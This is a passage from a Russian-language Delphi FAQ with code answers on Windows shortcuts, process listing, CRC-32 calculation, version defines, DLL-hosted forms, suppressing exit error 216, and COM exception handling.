  obj := CreateComObject(CLSID_ShellLink);
  isl := obj as IShellLink;
  ipf := obj as IPersistFile;
  ipf.Load(PWChar(WideString(ShortcutPath)), STGM_READ);
  with isl do
    begin
      Resolve(Wnd, SLR_ANY_MATCH);
      SetLength(Result, MAX_PATH);
      GetPath(PChar(Result), Length(Result), pfd, SLGP_UNCPRIORITY);
      Result := PChar(Result);
    end;
end;

-------------------------------------------------------------------------------
 
33> Как поместить иконку на Рабочий стол ?

implementation

uses
  ComObj, ShlObj, ActiveX;

procedure CreateShortcut(const FilePath, ShortcutPath, Description, Params:
string);
var
  obj: IUnknown;
  isl: IShellLink;
  ipf: IPersistFile;
begin
  obj := CreateComObject(CLSID_ShellLink);
  isl := obj as IShellLink;
  ipf := obj as IPersistFile;
  with isl do
    begin
      SetPath(PChar(FilePath));
      SetArguments(PChar(Params));
      SetDescription(PChar(Description));
    end;
  ipf.Save(PWChar(WideString(ShortcutPath)), False);
end;

-------------------------------------------------------------------------------

34> Как получить список процессов ?

procedure TForm1.Button1Click(Sender: TObject);
var
handler:thandle;
  data:TProcessEntry32;
function return_name:string;
var
   i:byte;
   names:string;
 begin
 names:='';
 i:=0;
 while data.szExeFile[i] <> '' do
  begin
  names:=names+data.szExeFile[i];
  inc(i);
 end;
 return_name:=names;
 end;

begin
handler:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
if process32first(handler,data) then begin
 listbox1.Items.add(return_name);
          while process32next(handler,data) do
 listbox1.Items.add(return_name);
 end
 else
 showmessage('Ошибка получения информации :)');
end;

А запускать например так:
procedure TForm1.Label3Click(Sender: TObject);
begin
shellexecute(handle,'open','mailto:maxrus@mail.ru',nil,nil,0)
end;
end.

-------------------------------------------------------------------------------

35> Как считать CRC-32 ? 

unit ChkSumm;

interface

const
 CRC32INIT = $FFFFFFFF;
{----------------------------------------------------------------}
{    Buffer - массив байтов, для которого подсчитывается CRC     }
{    CRC    - начальное значение CRC                             }
{    Count  - длина буфера                                       }
{----------------------------------------------------------------}
function CalculateBufferCRC32( CRC   : Cardinal;
                               const Buffer;
                               Count : Cardinal ) : Cardinal;
register;
{----------------------------------------------------------------}
{  Расчет 32-битовой CRC, алгоритм аналогичен применяемому в     }
{ архиваторах ZIP, ARJ. При этом начальное значение CRC должно   }
{ быть равно CRC32INIT, а после окончания подсчета окончательная }
{ CRC вычисляется по формуле :                                   }
{           CRC := CRC xor CRC32INIT;                            }
{ Hапример :                                                     }
{  var                                                           }
{   Buffer : array[1..8192] of Char;                             }
{   CRC    : Cardinal;                                           }
{   Count  : Cardinal;                                           }
{  .......                                                       }
{   CRC := CRC32INIT;                                            }
{   repeat                                                       }
{    BlockRead(F, Buffer, SizeOf( Buffer ), Count);              }
{    CRC := CalculateBufferCRC32( CRC, Buffer, Count );          }
{   until Eof(F);                                                }
{   CRC := CRC xor CRC32INIT;                                    }
{  .......                                                       }
{----------------------------------------------------------------}
implementation

const
CRC32Table : array[0..255] of Cardinal = (
 $00000000, $77073096, $EE0E612C, $990951BA, $076DC419, $706AF48F,
$E963A535,
 $9E6495A3, $0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988, $09B64C2B,
$7EB17CBD,
 $E7B82D07, $90BF1D91, $1DB71064, $6AB020F2, $F3B97148, $84BE41DE,
$1ADAD47D,
 $6DDDE4EB, $F4D4B551, $83D385C7, $136C9856, $646BA8C0, $FD62F97A,
$8A65C9EC,
 $14015C4F, $63066CD9, $FA0F3D63, $8D080DF5, $3B6E20C8, $4C69105E,
$D56041E4,
 $A2677172, $3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B, $35B5A8FA,
$42B2986C,
 $DBBBC9D6, $ACBCF940, $32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,
$26D930AC,
 $51DE003A, $C8D75180, $BFD06116, $21B4F4B5, $56B3C423, $CFBA9599,
$B8BDA50F,
 $2802B89E, $5F058808, $C60CD9B2, $B10BE924, $2F6F7C87, $58684C11,
$C1611DAB,
 $B6662D3D, $76DC4190, $01DB7106, $98D220BC, $EFD5102A, $71B18589,
$06B6B51F,
 $9FBFE4A5, $E8B8D433, $7807C9A2, $0F00F934, $9609A88E, $E10E9818,
$7F6A0DBB,
 $086D3D2D, $91646C97, $E6635C01, $6B6B51F4, $1C6C6162, $856530D8,
$F262004E,
 $6C0695ED, $1B01A57B, $8208F4C1, $F50FC457, $65B0D9C6, $12B7E950,
$8BBEB8EA,
 $FCB9887C, $62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65, $4DB26158,
$3AB551CE,
 $A3BC0074, $D4BB30E2, $4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,
$4369E96A,
 $346ED9FC, $AD678846, $DA60B8D0, $44042D73, $33031DE5, $AA0A4C5F,
$DD0D7CC9,
 $5005713C, $270241AA, $BE0B1010, $C90C2086, $5768B525, $206F85B3,
$B966D409,
 $CE61E49F, $5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4, $59B33D17,
$2EB40D81,
 $B7BD5C3B, $C0BA6CAD, $EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,
$EAD54739,
 $9DD277AF, $04DB2615, $73DC1683, $E3630B12, $94643B84, $0D6D6A3E,
$7A6A5AA8,
 $E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1, $F00F9344, $8708A3D2,
$1E01F268,
 $6906C2FE, $F762575D, $806567CB, $196C3671, $6E6B06E7, $FED41B76,
$89D32BE0,
 $10DA7A5A, $67DD4ACC, $F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,
$D6D6A3E8,
 $A1D1937E, $38D8C2C4, $4FDFF252, $D1BB67F1, $A6BC5767, $3FB506DD,
$48B2364B,
 $D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60, $DF60EFC3, $A867DF55,
$316E8EEF,
 $4669BE79, $CB61B38C, $BC66831A, $256FD2A0, $5268E236, $CC0C7795,
$BB0B4703,
 $220216B9, $5505262F, $C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,
$C2D7FFA7,
 $B5D0CF31, $2CD99E8B, $5BDEAE1D, $9B64C2B0, $EC63F226, $756AA39C,
$026D930A,
 $9C0906A9, $EB0E363F, $72076785, $05005713, $95BF4A82, $E2B87A14,
$7BB12BAE,
 $0CB61B38, $92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21, $86D3D2D4,
$F1D4E242,
 $68DDB3F8, $1FDA836E, $81BE16CD, $F6B9265B, $6FB077E1, $18B74777,
$88085AE6,
 $FF0F6A70, $66063BCA, $11010B5C, $8F659EFF, $F862AE69, $616BFFD3,
$166CCF45,
 $A00AE278, $D70DD2EE, $4E048354, $3903B3C2, $A7672661, $D06016F7,
$4969474D,
 $3E6E77DB, $AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0, $A9BCAE53,
$DEBB9EC5,
 $47B2CF7F, $30B5FFE9, $BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,
$BAD03605,
 $CDD70693, $54DE5729, $23D967BF, $B3667A2E, $C4614AB8, $5D681B02,
$2A6F2B94,
 $B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D );

function CalculateBufferCRC32( CRC   : Cardinal;
                               const Buffer;
                               Count : Cardinal ) : Cardinal;
assembler;
asm
 PUSH ESI
 PUSH EDI
 MOV ESI, Buffer
// MOV ECX, Count       // uncomment these strings
// MOV EAX, CRC         // if not use REGISTER calling convention
 CLD
@@Loop:
  MOV EDI, EAX                       // copy CRC into DI
  LODSB                              // load next byte into AL
  XOR EDI, EAX                       // put array index into DL
  SHR EAX, 8                         // shift CRC one byte right
  SHL DI, 2                          // correct DI
  XOR EAX, DWORD PTR CRC32Table[EDI] // calculate next CRC value
 LOOP @@Loop
 POP EDI
 POP ESI
end;

end.

-------------------------------------------------------------------------------

36> Какие дефайны использовать для определения версии Delphi/CPPB ?

{$IFDEF VER80}  - D1 (Delphi 1.0)
{$IFDEF VER90}  - D2
{$IFDEF VER93}  - B1 (Builder 1.0)
{$IFDEF VER100} - D3
{$IFDEF VER110} - B3
{$IFDEF VER120} - D4

-------------------------------------------------------------------------------

37> Как использовать форму из DLL ?

Это файл Form.dpr, из которого получается DLL:

 library Form;
 uses
   Classes,
   Unit1 in 'Unit1.pas' {Form1};
 exports
     CreateMyForm,
     DestroyMyForm;
 end.


Это его Unit1:

 unit Unit1;
 interface
 [раздел uses и определение класса Form1 поскипаны]
 procedure CreateMyForm(AppHandle : THandle); stdcall;
 procedure DestroyMyForm; stdcall;
 implementation
 {$R *.DFM}
 procedure CreateMyForm(AppHandle : THandle);
 begin
   Application.Handle:=AppHandle;
   Form1:=TForm1.Create(Application);
   Form1.Show
 end;
 procedure DestroyMyForm;
 begin
   Form1.Free
 end;
 end.
 

Это UnitCall вызывающего EXE-шника:

 unit UnitCall;
 interface
 [раздел uses и определение класса Form1 поскипаны]
 procedure CreateMyForm(AppHandle : THandle); stdcall; external 'Form.dll';
 procedure DestroyMyForm; stdcall; external 'Form.dll';
 implementation
 {$R *.DFM}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   CreateMyForm(Application.Handle)
 end;
 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   DestroyMyForm
 end;
 end.

-------------------------------------------------------------------------------

38> Как избавиться от сообщения об ошибке 216, иногда возникающей при выходе
    из приложения ?

 Hужно перед закрытием программы сказать IsConsole:=True и телемаркет.

 Сообщение об ошибке не появится. Конечно, она никуда не девается, просто диалог
не показывается. Hо это нормально. Если при выходе из программы происходит
сабж, то это происходит уже после всего вашего кода (вообще-то она происходит
при выгрузке библиотек) и все данные уже сохранены. Юзеры довольны.

-------------------------------------------------------------------------------

39> Как обрабатывать ошибки в дельфовых COM-объектах ?

  TCustomBasePlugObject = class ( TAutoObject, IUnknown, IDispatch )
   ...
   protected
    function  SafeCallException(ExceptObject: TObject; ExceptAddr:
Pointer): {$IFDEF _D4_}HResult{$ELSE}Integer{$ENDIF}; override;
...

function  TCustomBasePlugObject.SafeCallException;
 var ExMsg:String;
begin
    Result := inherited SafeCallException(ExceptObject, ExceptAddr);
    Try
       if ExceptObject is EAbort then exit;
       ExMsg := 'Exception: PlugObject="'+ClassName+'"';
       if ExceptObject is Exception then
       begin
           ExMsg := ExMsg + #13'    Message: '#13' '+
Exception(ExceptObject).Message+
                            #13'    Module:'+GetModuleFileName+
                            #13'    Adress:'+Format('%p',[ExceptAddr]);
           if (ExceptObject is EOleSysError) and
(EOleSysError(ExceptObject).ErrorCode < 0)
           then ExMsg := ExMsg + #13'
OleSysError.ErrorCode='+IntToStr(EOleSysError(ExceptObject).ErrorCode);
       end;
       toLog(ExMsg);
    Except
    End;
end;

-------------------------------------------------------------------------------
                        E N D   O F   F I L E